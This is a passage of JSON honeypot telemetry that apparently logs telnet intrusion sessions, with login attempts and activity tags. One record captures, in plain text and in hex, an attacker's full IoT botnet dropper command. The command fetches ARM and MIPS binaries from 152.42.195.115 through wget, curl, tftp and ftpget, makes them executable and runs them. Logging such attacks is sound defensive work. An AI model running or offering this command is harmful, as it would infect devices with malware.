"root"]},"interactive":true},{"timestamp":"2026-10-26T17:00:37","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"��\u0001��\u0003��\u001f","payload_hex":"fffe01fffe03fffc1f","method":"","user_agent":"","ja3":"","session":"89a3ec05-b40f-4ef7-8376-7d19ad7a4307-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-26T16:09:38","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd /tmp || cd /var || cd /dev/shm || cd /mnt ; ( wget -q -O main_arm7 http://152.42.195.115:80/main_arm7 || busybox wget http://152.42.195.115:80/main_arm7 -O main_arm7 || curl -s -O http://152.42.195.115:80/main_arm7 || tftp -g -b 1468 -r main_arm7 -l main_arm7 152.42.195.115 69 || tftp -g -r main_arm7 -l main_arm7 152.42.195.115 || busybox tftp -g -r main_arm7 152.42.195.115 || ftpget -v -u anonymous -p a 152.42.195.115 main_arm7 main_arm7 ) 2>/dev/null; chmod 777 main_arm7; (./main_arm7 main_arm7 </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_arm7 </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mips http://152.42.195.115:80/main_mips || busybox wget http://152.42.195.115:80/main_mips -O main_mips || curl -s -O http://152.42.195.115:80/main_mips || tftp -g -b 1468 -r main_mips -l main_mips 152.42.195.115 69 || tftp -g -r main_mips -l main_mips 152.42.195.115 || busybox tftp -g -r main_mips 152.42.195.115 || ftpget -v -u anonymous -p a 152.42.195.115 main_mips main_mips ) 2>/dev/null; chmod 777 main_mips; (./main_mips main_mips </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mips </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_mpsl http://152.42.195.115:80/main_mpsl || busybox wget http://152.42.195.115:80/main_mpsl -O main_mpsl || curl -s -O http://152.42.195.115:80/main_mpsl || tftp -g -b 1468 -r main_mpsl -l main_mpsl 152.42.195.115 69 || tftp -g -r main_mpsl -l main_mpsl 152.42.195.115 || busybox tftp -g -r main_mpsl 152.42.195.115 || ftpget -v -u anonymous -p a 152.42.195.115 main_mpsl main_mpsl ) 2>/dev/null; chmod 777 main_mpsl; (./main_mpsl main_mpsl </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_mpsl </dev/null >/dev/null 2>&1 &) ; ( wget -q -O main_arm6 http://152.42.195.115:80/main_arm6 || busybox wget http://152.42.195.115:80/main_arm6 -O main_arm6 || curl -s -O http://152.42.195.115:80/main_arm6 || tftp -g -b 1468 -r main_arm6 -l main_arm6 152.42.195.115 69 || tftp -g -r main_arm6 -l main_arm6 152.42.195.115 || busybox tftp -g -r main_arm6 152.42.195.115 || ftpget -v -u anonymous -p a 152.42.195.115 main_arm6 main_arm6 ) 2>/dev/null; chmod 777 main_arm6; (./main_arm6 main_arm6 </dev/null >/dev/null 2>&1 &); (/lib/ld-uClibc.so.0 ./main_arm6 </dev/null >/dev/null 2>&1 &)","payload_hex":"6364202f746d70207c7c206364202f766172207c7c206364202f6465762f73686d207c7c206364202f6d6e74203b20282077676574202d71202d4f206d61696e5f61726d3720687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d37207c7c2062757379626f78207767657420687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d37202d4f206d61696e5f61726d37207c7c206375726c202d73202d4f20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d37207c7c2074667470202d67202d622031343638202d72206d61696e5f61726d37202d6c206d61696e5f61726d37203135322e34322e3139352e313135203639207c7c2074667470202d67202d72206d61696e5f61726d37202d6c206d61696e5f61726d37203135322e34322e3139352e313135207c7c2062757379626f782074667470202d67202d72206d61696e5f61726d37203135322e34322e3139352e313135207c7c20667470676574202d76202d7520616e6f6e796d6f7573202d702061203135322e34322e3139352e313135206d61696e5f61726d37206d61696e5f61726d37202920323e2f6465762f6e756c6c3b2063686d6f6420373737206d61696e5f61726d373b20282e2f6d61696e5f61726d37206d61696e5f61726d37203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e26312026293b20282f6c69622f6c642d75436c6962632e736f2e30202e2f6d61696e5f61726d37203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631202629203b20282077676574202d71202d4f206d61696e5f6d69707320687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d697073207c7c2062757379626f78207767657420687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d697073202d4f206d61696e5f6d697073207c7c206375726c202d73202d4f20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d697073207c7c2074667470202d67202d622031343638202d72206d61696e5f6d697073202d6c206d61696e5f6d697073203135322e34322e3139352e313135203639207c7c2074667470202d67202d72206d61696e5f6d697073202d6c206d61696e5f6d697073203135322e34322e3139352e313135207c7c2062757379626f782074667470202d67202d72206d61696e5f6d697073203135322e34322e3139352e313135207c7c20667470676574202d76202d7520616e6f6e796d6f7573202d702061203135322e34322e3139352e313135206d61696e5f6d697073206d61696e5f6d697073202920323e2f6465762f6e756c6c3b2063686d6f6420373737206d61696e5f6d6970733b20282e2f6d61696e5f6d697073206d61696e5f6d697073203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e26312026293b20282f6c69622f6c642d75436c6962632e736f2e30202e2f6d61696e5f6d697073203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631202629203b20282077676574202d71202d4f206d61696e5f6d70736c20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d70736c207c7c2062757379626f78207767657420687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d70736c202d4f206d61696e5f6d70736c207c7c206375726c202d73202d4f20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f6d70736c207c7c2074667470202d67202d622031343638202d72206d61696e5f6d70736c202d6c206d61696e5f6d70736c203135322e34322e3139352e313135203639207c7c2074667470202d67202d72206d61696e5f6d70736c202d6c206d61696e5f6d70736c203135322e34322e3139352e313135207c7c2062757379626f782074667470202d67202d72206d61696e5f6d70736c203135322e34322e3139352e313135207c7c20667470676574202d76202d7520616e6f6e796d6f7573202d702061203135322e34322e3139352e313135206d61696e5f6d70736c206d61696e5f6d70736c202920323e2f6465762f6e756c6c3b2063686d6f6420373737206d61696e5f6d70736c3b20282e2f6d61696e5f6d70736c206d61696e5f6d70736c203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e26312026293b20282f6c69622f6c642d75436c6962632e736f2e30202e2f6d61696e5f6d70736c203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631202629203b20282077676574202d71202d4f206d61696e5f61726d3620687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d36207c7c2062757379626f78207767657420687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d36202d4f206d61696e5f61726d36207c7c206375726c202d73202d4f20687474703a2f2f3135322e34322e3139352e3131353a38302f6d61696e5f61726d36207c7c2074667470202d67202d622031343638202d72206d61696e5f61726d36202d6c206d61696e5f61726d36203135322e34322e3139352e313135203639207c7c2074667470202d67202d72206d61696e5f61726d36202d6c206d61696e5f61726d36203135322e34322e3139352e313135207c7c2062757379626f782074667470202d67202d72206d61696e5f61726d36203135322e34322e3139352e313135207c7c20667470676574202d76202d7520616e6f6e796d6f7573202d702061203135322e34322e3139352e313135206d61696e5f61726d36206d61696e5f61726d36202920323e2f6465762f6e756c6c3b2063686d6f6420373737206d61696e5f61726d363b20282e2f6d61696e5f61726d36206d61696e5f61726d36203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e26312026293b20282f6c69622f6c642d75436c6962632e736f2e30202e2f6d61696e5f61726d36203c2f6465762f6e756c6c203e2f6465762f6e756c6c20323e2631202629","method":"","user_agent":"","ja3":"","session":"cfaf5915-558c-4f5b-818a-947f8896a202-8","seq":8,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"0132a96bf241ac5f","strings":["cd /tmp || cd /var || cd /dev/shm || cd /mnt ; ( wget -q -O main_arm7 http://152…"],"iocs":{"urls":["http://152…"],"paths":["/dev/shm"]}},"interactive":true},{"timestamp":"2026-10-26T16:09:38","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"shell","payload_hex":"7368656c6c","method":"","user_agent":"","ja3":"","session":"cfaf5915-558c-4f5b-818a-947f8896a202-6","seq":6,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ec122f54cf16a175","strings":["shell"]},"interactive":true},{"timestamp":"2026-10-26T16:09:38","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sh","payload_hex":"7368","method":"","user_agent":"","ja3":"","session":"cfaf5915-558c-4f5b-818a-947f8896a202-4","seq":4,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-26T16:09:38","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"cfaf5915-558c-4f5b-818a-947f8896a202-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":["root"]},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":7},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":7},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":5},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":7}]}